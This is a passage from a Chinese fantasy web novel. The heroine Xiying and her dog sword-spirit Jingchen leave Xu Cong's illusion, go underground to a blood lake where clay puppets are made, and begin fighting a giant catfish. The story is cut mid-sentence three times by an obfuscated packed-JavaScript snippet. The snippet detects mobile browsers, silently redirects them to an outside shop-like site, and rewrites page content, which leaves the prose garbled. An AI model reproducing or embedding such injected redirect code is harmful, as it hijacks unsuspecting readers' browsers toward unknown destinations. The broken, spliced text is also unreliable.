奚萦做事从来不喜欢同谁解释,可这狗子摆出一副打破砂锅问到底的态度,毕竟是自己的剑灵,是最亲近的伙伴,化形不久傻不愣登的,她总归是有教导之责,多几分耐心也是应该的,于是将自己的衣袖扯出来,重新坐回床边,事无巨细地解释起来。 “所谓幻境呢,说白了也是阵法的一种,是被布下幻境之人所操控的,唔,就像一只蹲在山旮沓里的老虎,噗噗噗地吐出迷雾,将踏入地盘的人迷得晕头转向找不着北,然后老虎瞅准机会跳出来,嗷地一口将被迷惑的人吃掉,那么问题来了,要如何破解老虎这种阴险手段呢?” 景辰一阵无语,这什么莫名其妙的比喻啊,老虎捕猎哪有这么猥琐的?还是她跟老虎有什么解不开的仇怨?不是打人家就是背后蛐蛐人家…… 不过这个比喻虽然滑稽了点,倒是非常好理解,景辰略想了想便道:“当然是抓住老虎,让它没办法继续吐迷雾维持幻境。” 奚萦十分夸张地一拍巴掌,笑道:“富贵儿好聪明呀!” 景辰:“……” 我谢谢您嘞。 奚萦:“不谢啦!那么我们再把事情想深入一点,老虎嘴巴里吐出的迷雾,是不是难免带了些老虎的气味?若它刚吃了韭菜盒子,这个迷雾可能就是韭菜味儿的,若它吃的是臭豆腐,那迷雾就是臭豆腐味儿的,若它刚好舔完屁股,噫,那味儿可就大了——” 景辰实在听不下去了:“你嘴下留情,放老虎一马吧……” 奚萦撇撇嘴:“不是你哭着喊着让我给解释的吗?要不我改说狗也可以……” 景辰:“老虎!老虎吐出了韭菜味儿的迷雾,然后呢?” 他一本正经的模样让奚萦顿时破了功,捂着肚子闷笑起来,一头栽在被子上半天没爬起来。 景辰嘴角抽搐,而后失笑,半晌后扯扯奚萦的衣袖,无奈道:“疯够了就赶紧说正事啊。” 奚萦这才坐起身,随手捋了捋散落下来的碎发,继续道:“那我们当然是顺着韭菜味儿去找这只老虎呀!这可是你的专长呢富贵儿,你发现老虎藏在哪儿了吗?” 景辰蹙眉,将进入幻境后经历的事情仔细回想了一遍,第一天,柳嬷嬷劝他别跟许嫣怄气,他顺势去见了许嫣,第二天,许夫人劝他别生许嫣的气,他又去见了许嫣,顺带还救了被困火中的她,两天的经历都很简单,若要说里面藏着相同的“味道”,那就是,见许嫣。 “是许聪,他想见许嫣对不对?” 奚萦挑眉:“我还以为你会说是许嫣。” 景辰伸手点了点自己的额头,轻声道:“在我看来幻境更像是一场梦,日有所思夜有所梦,想见许嫣想救许嫣的人是许聪,所以他操控着幻境中的‘许聪’一次次地原谅妹妹的小错,然后促使两人见面,而许嫣始终只是一个被动等待的角色,所以说,这场幻梦的主人是许聪才对。” 奚萦忍不住伸手在他头上揉了一把,笑道:“原来咱家富贵儿也不算太笨嘛!没错,就是许聪,他一直在或明或暗地引导着你去见许嫣救许嫣,这就是他的执念了。” 以人的形态被揉脑袋,这是多少年都没发生过的事了,景辰愣了愣,随即又往床里侧缩了缩,一言难尽地看了床边眉飞色舞的女子一眼。 这家伙可真是,不把他当人啊。 但他的注意力很快又回到正事上,略想了想道:“所以他是许聪,也是柳嬷嬷,许夫人……” 很快他又蹙眉:“可是你呢,你又怎么会变成这样?也是许聪希望你变成这样吗?” “当然了。” 她顺手从腰间取下一枚金色令牌在景辰眼前晃了晃,意味深长道:“他想让妖务司的司主大人插手许家的事,所以我就‘亲自’来了,走吧,看看今天又是谁来劝你见许嫣。” 奚萦转身就走,景辰赶紧起身跟上,一掀开被子才注意到自己只穿着单薄的寝衣,松松垮垮的领口一直开到胸腹处,而他就这样坐在床上跟一个女人说了这么久的话! 这这这,成何体统啊! 景辰懊恼得直拍脑袋,又想到这脑袋也被那女人摸过三次,浑身上下的别扭劲儿简直要将他拧成麻花了。 眼见着奚萦都快走得没影儿了,他只好喊道:“你等等我啊。”然后手忙脚乱的穿衣裳,同时在心里安慰自己,这是幻境而已,这身体也不是自己的身体,没关系的,当狗的时候还被她抱过不是吗,大丈夫不拘小节…… 奚萦见狗子没跟上来,只好靠在门边等了片刻,很快景辰过来,板着脸肃然道:“走吧。” 她将面前的年轻男子上下打量了一番, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232564|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见他俊脸微红,耳朵更是红得像刚从锅里捞出来似的,腰杆挺得特别直,本就比自己高出半个头,这般模样简直像根顶了块红绸的竹竿,神经兮兮的。 “你,你正常点行不?” 神识交流已经断开,奚萦不知道狗子心里在想什么,只能笼统地叮嘱这么一句,见景辰茫然地看过来,想想又觉得算了:“没事,傻子不用太正常,你随意发挥就行。” 两人一前一后走出内室,一直来到外面院子里,竟一个人都没瞧见,原本许聪这里是有很多丫鬟仆妇的,这次也不知去了哪里。 景辰疑惑,还没等他开口询问,奚萦却径直往院外走去,那闲庭信步的姿态,仿佛走在自家后院中,让他忍不住又想起她在乱葬岗上称霸群鬼的模样,可谓是气势凌云从容不迫,皇帝陛下都甘拜下风。 许府中的人像是一夜之间蒸发了,两人走出院子,又走过长长的回廊,穿过花园,一路上仍旧半个人影也没瞧见,直到来到房门紧闭的内书房外时,隐约的哭声从里间断断续续地飘了出来。 景辰的心忽然往下一坠,像是被人攥住狠狠扯了一把,他脸上残存的那点赧然微红彻底消散,惨白浮上,细密的汗一点点爬上鬓角。 “是,是许嫣,去救她,救救妹妹……” 奚萦回头,见他眼神开始涣散,伸手握住他的手,两人掌心相贴,灵力缓缓流淌过去,像是一缕清风,瞬间吹散了脑海中的迷雾,景辰陡然清醒过来,大口喘气。 “是他,许聪,他在哪儿……” 细弱的哭声还在不断传来,院子里却只有他们两人,景辰指了指书房,轻声问:“要进去吗?许嫣在里面,她,应该是出事了。” 奚萦却摇头,拉着景辰坐到院中的石凳上,闲闲开口:“许嫣早就出事了,我们不是已经见过她的尸体了吗?啧,原本多漂亮的姑娘啊,被水泡得肿胀发黑,放了半日便臭气熏天,可怜哟——” 她语气实在不怎么好,听得景辰皱眉,张了张嘴想反驳,然而话还没出口,就听到一阵匆忙的脚步声从两人身后传来,许夫人的声音惶急又尖利:“聪儿!聪儿你救救妹妹吧,去救救她好不好,若不是为了你,她也不会落入那邪道手中啊!” 奚萦和景辰同时回头,看到了状若癫狂的许夫人。 原本温柔如水的女子,此时头发散乱衣裙不整,模样狼狈得像是刚在地上滚了几圈,哪里还有半点世家夫人的矜贵,她通红的眼睛里像是燃着两团火,死死盯着景辰,再次喊道:“你去救她啊!你这个傻子死了就死了,她聪明伶俐又乖巧懂事,怎么能替你去死呢!快去救她!” 景辰不知道该怎么回答,看向身旁的奚萦,她仍旧面带笑意,像是在看一出拙劣的戏。 许夫人冲过来试图抓景辰时,奚萦终于开口。 “许聪,你自己怎么不去救呢,许嫣是你的妹妹,可不是我们的妹妹啊。哦,我知道了,你根本救不了她,你这无能的废物,以前救不了她的性命,现在也救不出她的魂魄,对吧?” 她轻描淡写的语气像是在聊家常,一字一句却比刀剑还锋利,将扑过来的“许夫人”刺得千疮百孔,颓然委顿在地,化成了一团黑漆漆的,淤泥一般的东西。 27. 我家狗子出息了啊 景辰惊讶道:“这是之前跟踪我们的那个,泥鳅精?” 奚萦摸摸腰侧发烫的司主令,语气带着点意味不明:“算是吧。” 景辰:“什么叫算是?” 奚萦瞪他一眼:“黑黢黢一坨,还能在泥巴里钻来钻去,大约算是泥鳅精吧。” 景辰懂了,她也没认出这东西的原形。 地上的不明物蠕动了一会儿,一团像是脑袋的东西从淤泥中凸了出来,一点点变化出眼耳口鼻,最后变成了许聪的脸。 景辰一想到自己现在也用着同一张脸,心里顿时很不得劲儿,而旁边的奚萦却像是见惯不怪了,甚至还饶有兴趣地把许聪从头到脚仔细打量了一番。 “许家的儿子应该是凡人才对,你为何是妖?莫非是捡来的?” 许聪表情木讷,像是不太理解奚萦话里的意思,嗫嚅着重复了好几次“为何”,然后才小声道:“我,我是被道士变成了妖,被道士变成了妖……” “变成妖?凡人如何变成妖?道士又是什么人” “很可怕的道士,会飞,会吐火,我头疼得厉害,道士说扎了针就不疼了,后来我就变成这样了。” 奚萦跟景辰面面相觑,这许聪傻里傻气的,实在问不出个所以然来。 沉吟片刻,奚萦又道:“那许嫣呢?她怎么死的?” 许嫣的名字像是打开许聪神智的开关,他黯淡的眼眸瞬间亮了起来,激动道:“嫣儿,嫣儿是被道士杀了,都怪我,扎针太痛了,我让嫣儿去求父亲,不要再让道士给我扎针,然后他们就杀了嫣儿,他们杀了她,不对不对,嫣儿还没死,她就在庄子上,在地下关着,她让我救她……” 奚萦皱眉:“你父亲?道士跟你父亲是一伙的?” 许聪想了想才道:“道士是跟父亲一起来我们家的,我小时候就来了。” 许美人的家世背景奚萦并不了解,更不知道兄妹俩的父亲是何人,她没有继续问这个问题,反倒是一旁的景辰开口道:“道士的事,你祖父可知道?” 许聪茫然:“我也不知道,我很少见到祖父。” 景辰不再说话,转头看向奚萦,等她继续发问。 奚萦修长的手指一下又一下敲在大理石桌面上,半晌后才道:“你将我们拉入幻境,是想让我们帮你救许嫣?” 许聪蠕动着身子往奚萦脚边靠近了些,仰头看她,满脸希冀:“你很厉害,肯定能打得过道士,帮我救救嫣儿,可以吗?” 奚萦没有立即答应或是拒绝,继续问道:“道士在地下看着许嫣?” 许聪点点头,又摇头,努力组织语言解释:“有很多妖怪,还有一个红色的水池,道士有时候在,有时候不在,但昨天不在,今天也不在。” “那你知道怎么去地下吗?” 许聪顿时高兴起来:“我知道!我知道的!” 景辰见奚萦又要去冒险了,连忙出声劝道:“奚萦,这许聪不一定可信,他说的道士和地下也古怪得很,你就这么去的话太危险了。” 何况,许嫣早已经死了,先前她还凶巴巴地叫嚣着抓住了就打死打服,现在又要因许聪颠三倒四的几句话去救一个早已死了的人,真的值得吗? 奚萦还没说话,许聪已经急得快哭出来,一转头扑向景辰,作势要去抱他大腿,吓得景辰跳起来躲得远远的,许聪只好求道:“我不坏,我不坏的,嫣儿也是好人,求求你们了……” 他如今这模样本就人不人鬼不鬼的,如今眼泪鼻涕糊一脸,抖得像是风中残叶,更加可怜了,景辰见状也不知该说什么好。 奚萦轻叹一声,对景辰笑了笑,以神识传音道:“也不仅是为了救许嫣,无论如何,我也要查清楚女娲泥和妖族失踪的事,这是身为妖务司司主的职责。” 景辰看着对面女子温和又坚定的眼神,再也说不出阻止的话来。 “那我跟你一起去。” 奚萦闻言诧异地挑眉,戏谑道:“哟,我家富贵儿这回不怂了呀?” 景辰生气,他什么时候怂过?他只是明白千金之子坐不垂堂的道理!不过这次他是来捞奚萦这莽货的,总不能捞到一半自己先溜了吧,他也还没狗到这种程度。 奚萦听到他的心声,竟生出些“吾家有狗初长成”的欣慰,于是伸手□□了把狗头,在景辰跳起来骂人之前对许聪道:“走吧,把你这破幻境撤了,带我们去地下。” 许聪跟着起身,小心翼翼道:“去地下,要变个样子才行,我帮你们。” 说着,他淤泥一般的身体中长出两条类似于手臂的东西,朝景辰和奚萦分别伸过去。 奚萦微微蹙了蹙眉,任由许聪碰到自己的手背,景辰则是强忍着恶心,眉头拧出了个川字,偷看了对面的奚萦好几次才没将手缩回去。 淤泥接触到两人手背时,一团黑灰色的阴冷雾气顺着手臂游走往上,很快就将两人整个包裹了进去,变成了两个浑身漆黑五官模糊的怪东西。 奚萦绕着景辰转了一圈,又将自己的手举起来反复看了许久,惊奇道:“许聪你究竟是什么妖啊?这玩意儿太奇怪了吧。” 许聪讷讷道:“我不知道,地下的人都长这样的。” 奚萦若有所思地点点头,没再多问,而景辰心里却更紧张了,一想到地下有许多这种黑黢黢的妖怪,还有被关起来的鬼魂、红色的池子,他就有种要去地府闯荡的不妙预感。 但奚萦看上去一点也不担心的样子,她应该能对付这些怪东西吧?但愿司主大人这条大腿够粗,千万要将大雍王朝的顶梁柱给罩住了啊! 奚萦也看出了“顶梁柱”的忐忑,朝他安抚地眨了眨眼。 嚯,这黑乎乎一团的怪玩意儿做起俏皮表情来简直丑得令人犯恶心,景辰赶紧转头,努力想象奚萦原本的模样洗洗眼睛。 做好准备后,他们所在的小院像遇水褪色的墨迹般渐渐变淡直至消散,露出了进入幻境时所在的东厢房,房中蛛网遍布,尘灰极厚,与奚萦和景辰来时所见的模样皆不相同。 先前奚萦跟景辰解释过烂柯阵的神奇,故而他并未太过惊讶,只是抬眸往门口看了看,没有看到任何人也没有听到任何声音,显然他们跟外面的张谦等人已经在不同的时间长河里了。 许聪很着急,撤掉幻境后立马奔向床榻所在的位置,嘴里含混不清地叮嘱道:“你们跟紧,进去后,不要说话,我们去红色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232565|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水池,去找嫣儿。” 两人对视一眼,抬步跟上许聪,只见他将破破烂烂的被褥一掀,整个人像雪人融化一般渗进床板中,尚未融化的类似于手的触肢还留了一半在外面,挥舞着招呼他们:“快来啊,快点。” 景辰看看自己黢黑的身体,又看看身旁的奚萦,小声嘀咕:“我觉得,我可能没有这种技能啊……” 奚萦毕竟不是没见识的傻狗,拉着他三两步上前,另一只手握住许聪的触肢,两人往床板上一倒,身体接触到床板的瞬间,景辰只觉得自己也变成了雪人,被太阳一晒,淅淅沥沥化了一地,痛倒是不痛,就是有点恶心。 幸好这过程并不长,否则景辰觉得自己真的会被恶心得当场吐出来,眼前一花之后,他感觉到自己的身体重新凝实了。 周围一片黑暗,隐约有滴滴答答的水声传来,许聪先前叮嘱过他们不要说话,因此三人都沉默着,等许聪继续带路。 许聪在原地踟蹰了片刻,似是在回忆该朝哪个方向走,很快就扯了扯奚萦的手,示意她跟上,三人就这样牵着彼此的手,开始在黑暗中摸索着缓慢前行。 此地不方便直接说话,但奚萦和景辰是可以通过神识沟通的,景辰正全身心高度警戒着,忽然就听脑海中传来奚萦带着笑意的声音:“富贵儿,你很害怕吗?怕黑还是怕鬼啊?” “我,我不怕!我这是警惕,警惕知道吗!” “啧,那你恨不得掐断我的手是怎么回事?公报私仇吗?” 景辰赶紧松了松手上的力道,努力替自己辩解:“谁还没有个第一次了,下次我再遇到这种事,自然就不会,不会紧张了。” 奚萦语气轻松得像是在逛园子:“哈哈也是呢,狗子负责看家护院,警惕心高点也是好事,说明咱们富贵儿是条忠于职守的好狗狗啊!” 景辰:“哼!” 狗子不经逗,奚萦又换上略严肃的语气道:“对了,待会儿若是我跟人动手了,你自己寻个地方躲好,若遇到紧急情况就以灵力点燃这张破山符,带我一起出去,我已经通知了封狐狸,他擅长阵法一道,外面的烂柯阵难不倒他,到时候你将我交给他就行。” 景辰感觉到手中被塞了个小东西,想必就是她说的破山符了,他小心收起来,又问道:“封狐狸是谁?” 奚萦啧了一声,语气变得有些古怪:“就是只狐狸,爱穿红衣服,人群中最扎眼最骚气四射的那个准是他,你肯定不会认错的。” 这形容可真是,妙啊。 见奚萦准备得很周全,景辰略放了心,但再一想她方才的话,似乎暗含着她会重伤甚至失去行动能力的隐忧,这让他落下去的心再次提了起来,紧张地追问道:“这里很危险吗?你不会有事吧?” 奚萦的语气严肃了几分:“这地方血煞之气极重,还隐约有一股十分古怪的力量,我一时也捉摸不透,总之小心行事,看到危险就躲远点知道吗?” 景辰无言以对,这人叮嘱自己有危险就跑,可她却专往危险的地方钻,他实在不知道该怎么评价,半晌后只闷闷地“嗯”了一声,两人不再多话。 在黑暗中默默走了许久,终于,前面不远处出现了一点亮光。 28. 千万别跟傻子玩 许聪沉默着继续带身后两人往光亮处去,待走近了他们才终于看清,那点光亮是一盏嵌在门头的壁灯,灯下高达数丈的巨型青色石门岿然矗立,门上半点花纹雕饰也无,门外也没有看守的人或妖,更显得这门本身就像是怪物的庞然巨口,胆敢擅闯之人必定通通被它吞吃入腹。 奚萦通过传音给景辰补课:“这门应该是吞海鱼的舌头造的,吞海鱼这种东西脑子很笨,胃口却极大,什么脏的臭的烂的玩意儿都吃,但凡被它舔了,管你什么灵气妖力煞气阴气,通通化得一干二净,所以这地方光是用这扇门就能挡住所有擅闯者,大手笔啊。” 景辰顿时又紧张起来:“那我们岂不是有去无回?” 奚萦瞟了前面的许聪一眼:“这不是有个内鬼帮我们带路吗?而且我们身上这黑乎乎的玩意儿应该就是为了通过这道门做的伪装,你没感觉到吗,我们体内的灵气全被这东西包裹了起来,一丝一毫都没有外泄。” 景辰那点略胜于无的修为,那点可怜兮兮的灵气,确实没感觉到这种细微差别,只好煞有介事地点了点头表示赞同。 果然,许聪就像没看到那扇巨大的青色石门一般,带着他们直接穿了过去,这次也不像先前进入地底时整个身体融化掉的感觉,而像是走进了一片粘稠的水中,有一点阻力,却并没有真的阻挡他们。 察觉到手上的力道有些大,奚萦回头冲景辰宽慰地笑了一下。 景辰顿时被丑得一激灵,紧张情绪飞得没了影儿,原本纷乱不安的心里只剩一个念头:这丑东西笑起来太可怕了! 紧接着手心就被人狠狠掐了一下,景辰疼得直抽气,只得努力收敛心神,不敢再东想西想。 三人很快穿过石门,眼前一下子变得敞亮了许多,嘈杂的脚步声不断,一股极其浓郁的血腥气扑面而来,呛得奚萦和景辰齐齐倒退了一步,待他们看清眼前的景象时,更是忍不住倒吸一口凉气。 这地方像是一处被挖空的山腹,四周都是裸露着的红褐色岩石,一条条赤红色的水流从岩石中渗出,汇聚到下方“河床”上,血河缓慢又平静地流向远方。 这条河的宽度约莫三丈左右,长得仿佛没有尽头一般,一直延伸到黑暗深处,赤河两岸有许多黑咕隆咚的怪物拿着刀枪剑戟在巡逻,另一些怪物则在挖河床上的淤泥,装满一罐子便有排队的怪物上前背走,迈着僵硬的步子吭哧吭哧散入各处黑暗中。 若要形容的话,这些怪物就像成群结队的蚂蚁在一点点分割搬运死去动物的尸体。 若是从前,景辰只会认为“血流成河”是夸张的手法,可眼前赤红的河水和浓郁的血腥气却真实地重现了这地狱般的场景,他恶心得差点当场晕过去,幸亏奚萦又在他手心狠狠掐了一下,顺势再渡了些灵气过去,他才勉强稳住了心神。 许聪倒是见惯不怪,直接拉着两人加入一处排队的怪物之中,小声叮嘱道:“背泥巴,去红池子。” 奚萦跟景辰对视一眼,默默开始排队。 很快就轮到他们,负责挖泥的怪物多看了许聪两眼,将原本装得很满的罐子倒出来一些后才递给他,面上露出个疑似讨好的笑,到奚萦两人时,却一丝不苟地给挖了满满两罐子,奚萦有些无语地看了许聪一眼,没想到这笨蛋竟还是个小有地位的人物啊! 然而当她手指触到罐子口沾着的红泥时,却再也无心调侃这些有的没的,一颗心重重跌入谷底。 这东西,竟是女娲泥。 其实一进入这地方她便有不好的预感,可是当最坏的预感成真时,她还是觉得有点难以接受。 默了片刻,奚萦一言不发地将罐子背起来,再回头拉上几乎灵魂出窍的景辰,两人跟着许聪往赤河下游走去。 脚下的泥土松软滑腻,赤红色的河水悄无声息地缓缓淌过,也不知是怎样惨痛的粉身碎骨之刑才能将源自于灵魂深处的嘶吼悲鸣碾灭,这样的安静让奚萦感觉毛骨悚然,然而更多的还是愤怒,想要将这破地方一把火全烧成灰的愤怒。 景辰注意到奚萦的情绪有些反常,捏了捏她的手指,悄悄传音道:“你怎么了?发现什么古怪了吗?” 奚萦闷声道:“没事,你自己小心些,这地方危险。” 她没把罐子里装的是女娲泥的事告诉他,怕这娇气又洁癖的狗子当场哭出来。 三人沿着赤河一路往下走,周围的怪物渐渐变少,到最后只剩他们三个,河面也变得更宽了些,直到后来汇聚到一处低洼地,形成了一片比含元殿前广场还大些的血红色湖泊,许聪小声道:“就是这里了。” 奚萦看看血湖又看看许聪,有些无语,他口口声声说水池水池的,她以为就是个小水洼,结果这玩意儿竟是一片湖,这是要她潜入湖底去捞许嫣的魂魄吗? 饶是强大如司主大人,也忍不住打了个哆嗦。 这玩意儿看上去不是很厉害,但真的很恶心啊。 奚萦不说话,景辰也不知道说什么,许聪见状紧张起来,小心翼翼扯了扯奚萦的衣袖,低声道:“水池底下有怪物,我打不过,嫣儿被困住了,求你帮帮忙……” 难怪这地方没人看守,看来水底下的怪物很厉害啊。 想到这里,奚萦的心又沉了几分,半晌后吐出一口浊气,将背后的罐子小心翼翼放下,正打算沿着水池观察一下情况,就听许聪慌忙道:“罐子,要带上才行,没罐子的人会被怪物咬。” 奚萦只好默默将罐子重新背起,心里那个堵啊,恨不得丢几张雷符直接炸了这破“水池”。 不明真相的景辰背罐子倒是背得心安理得,亦步亦趋跟在奚萦身后,见她时不时驻足观望,又时不时朝水里丢两颗类似于丹药的东西,忍不住小声发问:“你这是在做什么呢?” 奚萦敷衍道:“钓鱼呢。” 可惜扔了不少鱼饵下去,却连条小麻仔也没钓上来,奚萦心烦,顺手挠一把景辰的狗头,景辰被她挠得炸了毛,气哼哼跑远了,她这才不情不愿地掏出一个小纸人,一脸扭曲地将纸人往赤红的水中扔去,神识附着到纸人身上,强忍着恶心驱使纸人快速潜入水底。 越往深处去血水越粘稠,糊在纸人身上约等于直接糊在奚萦的神识上,她恶心得快要抓狂,却顾忌着司主大人英明神武的形象强行忍耐着,小纸人一双短腿差点倒腾出火星子,几个呼吸之间便潜到湖底深处,一团巨大的黑影出现在眼前。 这东西应该就是许聪说的怪物了。 越往深处光线越暗,奚萦根本无法看清那黑影究竟长什么模样,可越是靠近越能感觉到其身上散发出的强大气息,应该不会比她弱太多,若这血河能对其有所增益的话,那就更不好来硬的了。 这样想着,奚萦操控小纸人快速撤退,返回了岸上。 收回神识的瞬间,奚萦觉得自己识海都被污染了,连忙打坐运气稳固心神,调息片刻后起身,她对旁边一脸关切的许聪道:“你有办法联系上许嫣吗?” 许聪当即点头,奚萦松了口气,然而还没来得及详细询问,就看到许聪扑通一下跳进湖里,三两下潜入了水底。 他说的联系,该不会就是亲自下去叫人,呃不是,叫鬼吧? 奚萦觉得脑袋都大了一圈。 景辰也看得目瞪口呆,凑到奚萦耳边悄声问:“他就这么,这么下去,不会出事吧?底下的怪物是什么情况啊?” 奚萦幽幽道:“可能会出事,随时准备跑路吧。” 景辰闻言立马捏紧破山符,准备稍有不对就炸了这地方带着奚萦跑路。 然而两人紧张兮兮地等了半天,湖水依然平静,许聪也没上来。 “莫非,这许聪跟底下的怪物也有交情?” 奚萦白他一眼:“他俩有交情的话,为什么还要求我们来救许嫣?” 然而这平静只持续到奚萦的话音落地,巨大的气泡一个接着一个从湖底冒出,搅得整片血湖瞬间成了一锅烧开的浓汤,许聪的身影嗖地浮出水面,惶急叫道:“嫣儿在下面,就在怪物的眼睛里。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232566|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奚萦:“……” 景辰:“……” 他刚喊完这句,一个几乎占据大半血湖的身影从水底缓缓浮了上来,滔天巨浪拔地而起,腥风狂卷,长着一排排尖利牙齿的巨嘴在许聪身后张开,想要将这只聒噪的小虫子一口吞下去。 奚萦扯下腰间的司主令用力一抛,对着那形似鲶鱼的怪物头顶砸了过去。 “此命天授,敕令万妖,伏!” 司主令顿时金光四射,像悬于高空的太阳,刺得鲶鱼睁不开眼,一声惨叫之后顿时缩回水中,瞬间逃得没影了。 许聪被鲶鱼掀起的巨浪卷回岸边,整个人都是懵的,景辰没好气地将他拉起来,正想数落这傻子两句,却听到周遭黑暗中有窸窸窣窣的动静传来。 奚萦沉声道:“刚才动静太大,恐怕已经惊动了这里的守卫,我们尽快找个地方躲一下。” 景辰晃了晃手中的许聪:“喂,别发呆了,赶紧带路啊。” 许聪回神,似乎终于意识到自己闯祸了,心虚地指着湖里道:“躲水底下,他们不敢下去的。” 奚萦:“……” 景辰:“……” 那句话叫什么来着,千万不能跟傻子玩啊! 许聪见他俩不动,着急地去扯奚萦的衣袖,被景辰一巴掌打开,他只能委委屈屈地缩在一旁,小声道:“这里没别的地方能藏人,做娃娃的大厂房里还有厉害的道士,水底下,水底下连道士也不敢随便下去的。” 两人交换了一个无语至极的眼神,奚萦从储物袋中找出三张避水符,啪啪拍到景辰和苏聪的背上,自己也贴了一张,以英勇就义的姿势率先跳进了血湖中。 景辰还没做好思想准备,但奚萦拉着他不放,他也只能紧跟着跳了进去,许聪见状也连忙跟上。 好在奚萦先前附身纸人下来过一趟,恶心着恶心着也就习惯了,景辰却有种自己已经下了地府,正游向十八层地狱的错觉,被这黏糊糊腥臭冲天的东西包裹着,真的还不如死了算了啊…… 三人潜到深处时,奚萦忽然停下,传音叮嘱景辰:“你和许聪在这里等我,我去会会那大鲶鱼,若有万一你就燃了破山符出去,将这里的事告诉封狐狸,让他务必清理此地,这里,应该就是制作女娲泥傀儡的地方。” 她这话简直就跟遗言似的,景辰一时都顾不上恶心女娲泥的事,他握紧奚萦的手,语气中带着点自己都未曾察觉的颤抖:“你,你要去杀那个怪物?你有把握吗?别以身犯险,不值得啊……” 奚萦勾起嘴角,四周血光映照之下丑得更是令人心惊了,景辰却没有心思嫌弃,只想拉着她赶紧跑路,什么女娲泥,什么许嫣,下次再来也可以的啊,他们知道了这里的情况,下次可以多带点人来,若普通兵士不管用,他也可以下旨召集天下修道修佛的高人一起出力,为何她非要亲自涉险呢? “傻狗,你家司主大人厉害着呢,区区小鲶鱼那还不是三两剑就切成一段段的了!我这么说只是让你做好最坏的准备,该冒险的时候就得冒险,该留后手的时候也要留后手懂吗?等着吧,司主大人给你抓鱼吃。” 她揉了揉狗头,转身朝湖底潜去,很快便消失在视线中,景辰心情复杂地杵在原地,半晌后才察觉到自己袖子紧了紧,是许聪在叫他。 他拉着许聪游向一处靠近湖岸的石头,两人猫在石头后面,一边听着岸上的动静一边等杀鱼英雄奚萦归来。 景辰心里忐忑,忍不住悄悄唤奚萦的名字,传到奚萦那边就很烦人了,司主大人正雄赳赳气昂昂去打架呢,结果家里狗子时不时可怜兮兮地叫一声“奚萦”,再不济你喊一声司主大人鼓鼓劲儿也行啊,这受气小媳妇儿似的调调是专门来给她泄气的吗? 好声好气地回应傻狗三次后,奚萦忍无可忍:“闭嘴!” 神识联系被单方面切断了,景辰叫了好几次都没得到回应,只能讪讪闭嘴,幽怨地捏着破山符,改成瞪罪魁祸首许聪,试图用眼神将这家伙定个犯上谋逆的大罪。 29. 兄妹两个 强忍着恶心快速潜下湖底,直到一座小山般壮硕的身影出现在视线尽头时奚萦才停下,她手腕一扬,暗金色的司主令如离弦的箭一般激射而出,瞬间消失在远处的黑暗中。 片刻后,暗金色的光芒在黑暗中缓缓亮起,与周遭炼狱般的血红分庭抗礼,也将匍匐在湖底的巨型怪物身影勾勒得更清晰了些。 那是一条拖着两根长须,浑身幽黑光亮的大鲶鱼,它身长近百丈,几乎占据了半个血湖,此时仿佛睡着一般安静地趴在湖底,半个脑袋埋进淤泥中,整片湖水都随着它呼吸起伏而缓缓震动着。 奚萦在这条大鲶鱼面前小得跟只蚂蚁似的,顿时升起一种再大的本事也有点施展不开的错觉,她不禁有些头疼地揉了揉眉心,很快拿定了主意,身法似鬼魅般转瞬间闪现于大鲶鱼头顶十来米的位置,闭上双眼,唇瓣微启,开始催动隐没于黑暗中的司主令。 黏腻的血色湖水以她为中心,渐渐泛起细密的涟漪,一圈圈荡漾开来,将无声的的敕令传递到出去,引得周遭水域都跟着颤动起来,却又恰到好处地将动静局限在湖底这片区域。 湖底的淤泥被搅动起来,血水翻腾得像是地狱里炸小鬼的油锅,然而那条匍匐在湖底的大鲶鱼却像石化一般岿然不动,甚至还将大脑袋往泥里拱了拱,试图隔绝随着湖水波动传来的催命魔音。 然而它只是白费力气,黏腻的湖水裹挟着音波不断在裸露的皮肤上冲刷,原本乌黑光亮的的鱼皮上渐渐崩开细小的伤口,河水钻进皮肉,跗骨之蛆般纠缠着这只庞然大物,那声音也贴着皮肉一声叠着一声唤它。 “许嫣,许嫣,许嫣……” 可恶!实在可恶!它定要将那这欺鱼太甚的混蛋撕成一条条蘸湖底最臭的烂泥吃! 忍无可忍的大鲶鱼狂啸一声拔出脑袋,张嘴就朝头顶奚萦所在的位置咬去。 大鲶鱼毕竟是此地的地头鱼,就算受了点伤,又被愤怒冲昏了头脑,速度和力量依然惊人,眨眼间便跟奚萦上下位置倒转。 奚萦陡然睁眼,恰好对上一张可吞山岳的大嘴,嘴里一排排锋利如刀的尖牙闪着血光,对着她的脑袋气势汹汹咬了下来。 